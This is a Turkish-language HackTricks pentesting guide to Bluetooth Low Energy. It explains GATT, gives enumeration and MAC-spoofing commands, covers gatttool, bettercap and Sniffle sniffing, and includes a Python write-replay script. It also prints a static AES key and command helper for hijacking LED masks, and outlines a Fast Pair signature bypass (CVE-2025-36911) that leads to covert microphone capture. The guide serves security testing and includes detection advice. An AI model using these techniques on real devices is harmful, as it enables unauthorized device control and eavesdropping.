Pentesting BLE - Bluetooth Low Energy

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Giriş

Bluetooth 4.0 spesifikasyonundan beri kullanılabilir olan BLE, 2400 ile 2483.5 MHz aralığını kapsayan yalnızca 40 kanal kullanır. Buna karşılık, geleneksel Bluetooth aynı aralıkta 79 kanal kullanır.

BLE cihazları advertising packets (beacons) göndererek iletişim kurar; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara yayınlar. Bu beacons bazen veri de gönderir.

Dinleyen cihaz (central device olarak da adlandırılır), advertising packet’e özellikle reklamı yapan cihaza gönderilen bir SCAN request ile yanıt verebilir. O taramaya verilen response, baştaki advertising request’e sığmayan ek bilgileri (ör. tam cihaz adı) içeren, advertising paketin aynı yapısını kullanır.

Preamble baytı frekansı senkronize ederken, dört baytlık access address bir connection identifierdır; bu, birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Ardından, Protocol Data Unit (PDU) advertising data içerir. Birden fazla PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND’dir. Cihazlar don’t accept connections durumunda yalnızca advertising paketinde veri iletmek için ADV_NONCONN_IND PDU türünü kullanır. Cihazlar allow connections durumunda ise ADV_IND kullanır ve bir connection established olduktan sonra stop sending advertising paketleri gönderirler.

GATT

Generic Attribute Profile (GATT), cihazın veriyi nasıl formatlayıp transfer etmesi gerektiğini tanımlar. Bir BLE cihazının attack surface’ını incelerken genellikle dikkatiniz GATT (veya GATTs) üzerinde yoğunlaşır; çünkü cihaz işlevselliğinin nasıl tetiklendiği ve verinin nasıl depolandığı, gruplanıp değiştirildiği buradan anlaşılır. GATT, bir cihazın characteristics, descriptors ve services öğelerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir characteristic, central device ile peripheral arasında gönderilen bir data değeridir. Bu characteristics, onlara ek bilgi sağlayan descriptors içerebilir. Eğer belirli bir işlemi gerçekleştirmekle ilişkiliyse, characteristics genellikle grouped olarak services içinde düzenlenir.

Enumeration

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool başka bir cihazla bağlantı kurmanıza, o cihazın özelliklerini listelemenize ve bu özelliklerin değerlerini okumaya ve yazmaya olanak tanır.
GATTTool, -I seçeneği ile etkileşimli bir shell başlatabilir:

GATTTool etkileşimli kullanım ve örnekleri ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing and actively controlling unpaired BLE devices

Birçok düşük maliyetli BLE çevrebirimi pairing/bonding zorunluluğu getirmiyor. Bonding olmadan Link Layer şifrelemesi hiç etkinleşmediği için ATT/GATT trafiği düz metin halinde iletilir. Off-path bir sniffer bağlantıyı takip edip GATT işlemlerini decode ederek characteristic handle’ları ve değerleri öğrenebilir; yakınlardaki herhangi bir host ardından bağlanıp bu yazmaları replay ederek cihazı kontrol edebilir.

Sniffing with Sniffle (CC26x2/CC1352)

Donanım: NCC Group’un Sniffle firmware’i ile yeniden flashlenmiş bir Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352).

Sniffle ve onun Wireshark extcap’ini Linux’a kurun:

Sniffle extcap'i kurma (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Sonoff’u Sniffle firmware ile flash’layın (seri aygıtınızın eşleştiğinden emin olun, ör. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Wireshark’ta Sniffle extcap ile yakalayın ve filtreleyerek hızla state-changing writes’e pivot yapın:

_ws.col.info contains "Sent Write Command"

Bu, istemciden gelen ATT Write Commands’i vurgular; handle ve value genellikle doğrudan cihaz eylemlerine karşılık gelir (ör. buzzer/alert characteristic’ine 0x01 yazmak, durdurmak için 0x00).

Sniffle CLI için hızlı örnekler:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternatif sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin da işe yarar. Küçük/ucuz Nordic dongle’larda genellikle sniffer firmware’ini yüklemek için USB bootloader’ı üzerine yazarsınız; bu yüzden ya ayrılmış bir sniffer dongle’ı tutarsınız ya da bootloader’ı sonradan geri yüklemek için bir J-Link/JTAG gerekir.

GATT üzerinden aktif kontrol

Sniff edilen trafikten yazılabilir bir characteristic handle ve değeri tespit ettikten sonra, herhangi bir central olarak bağlanıp aynı write işlemini uygulayın:

  • Nordic nRF Connect for Desktop (BLE app) ile:

  • nRF52/nRF52840 dongle’u seçin, tarayın ve hedefe bağlanın.

  • GATT veritabanını gezinin, hedef characteristic’ı bulun (genellikle okunaklı bir adı vardır, örn. Alert Level).

  • Sniff edilen byte’larla bir Write gerçekleştirin (örn. tetiklemek için 01, durdurmak için 00).

  • Windows üzerinde Python + blatann kullanarak Nordic dongle ile otomatikleştirin:

Python blatann write example (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Vaka incelemesi: BLE LED maskelerin ele geçirilmesi (Shining Mask family)

Ucuz, white‑labeled BLE LED maskeler, “Shining Mask” app tarafından kontrol edilir ve herhangi bir yakın central'den pairing/bonding olmadan write kontrolü kabul eder. Uygulama GATT üzerinden bir command characteristic ve bir data characteristic ile iletişim kurar; komutlar uygulamada hard‑coded olan statik key ile AES‑ECB şifrelenmişken, büyük miktardaki image data şifrelenmemiştir.

Bu cihazlardaki önemli UUID'ler:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Eşleştirme/bonding gerektirmeyen GATT yazmaları
- Pairing/bonding gerekmez. Herhangi bir host bağlanıp command UUID'sine yazma yaparak parlaklığı değiştirebilir, görselleri seçebilir, animasyonları başlatabilir vb.
- Gözlemlenen yaygın işlemler: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Statik anahtarlı AES komut çerçevelenmesi
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Bilinen statik key (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Görüntü yükleme akışı

  • Şifrelenmiş bir DATS el sıkışmasının ardından, ham parçalar şifrelenmemiş olarak data characteristic …960a’ya yazılır.
  • Paket formatı: [len][seq][payload]. Ampirik olarak paket başına ~100 byte’lık payload güvenilir şekilde çalışır.
Minimal görüntü yükleme pseudo-kodu ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **Keşif:** BLE reklamlarını **service UUID 0xFE2C** (Google Fast Pair) için tara. Eşleştirme modundaki cihazlar genellikle bir eşleştirme rozeti gösterir; eşleştirme modunun dışında olsa bile Fast Pair servisi GATT üzerinden yanıt verebilir.
- **Müdahaleci olmayan test (signature enforcement check):**
1. GATT ile Fast Pair servisine bağlan ve **Model ID**'yi oku.
2. **İmza olmadan Key-Based Pairing (KBP) değeri yaz.** Eğer peripheral imzasız KBP yazımını kabul ederse, signature-bypass (WhisperPair/CVE-2025-36911) açığına maruz demektir. Reddetme yamanmış olduğunu gösterir; cihaz zaten eşleştirilmişse başarısızlıklar belirsiz olabilir.
- **BLE → BR/EDR pivot:** Bir **KBP Request** gönder ve hedefin **BR/EDR address**ini geri kazanmak için **encrypted response**'ı çözümle. Yetkisiz eşleştirmeyi tamamlamak için klasik bir bonding çağrısı kullan (örn. Android **`createBond(<BR/EDR address>)`**). Destekleniyorsa, bir **Account Key** yazarak ilişkiyi kalıcı hale getirebilirsin.
- **Eşleştirme sonrası mikrofon suistimali:** Eşleştirmeden sonra **HFP**'yi aç ve canlı mikrofon akışı elde etmek için **SCO audio** başlat (dinleme/kayıt için, örn. M4A olarak kaydetme). Bu zincir, imzasız KBP kabulünü kullanıcının rızası olmadan uzaktan ses yakalamaya dönüştürür.
- **Tespit/av:** Fast Pair GATT trafiğini ve bunu hemen takiben KBP'de döndürülen BR/EDR adresine yönelik klasik **bonding attempts**'ları ile imza içermeyen KBP yazımlarını ara. KBP üzerinde imza doğrulamasını zorunlu kılmak ve kullanıcı onaylı eşleştirme istemek zinciri kırar.

## Operasyonel notlar

- Kanal atlama ve bağlantıyı takip etme için Linux üzerinde Sonoff+Sniffle tercih edin. Yedek olarak bir Nordic sniffer bulundurun.
- Eşleştirme/bonding olmadan, yakınlardaki herhangi bir saldırgan yazımları gözlemleyebilir ve kimlik doğrulaması olmayan yazılabilir karakteristiklere bunları yeniden oynatabilir veya kendi yazımlarını oluşturabilir.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>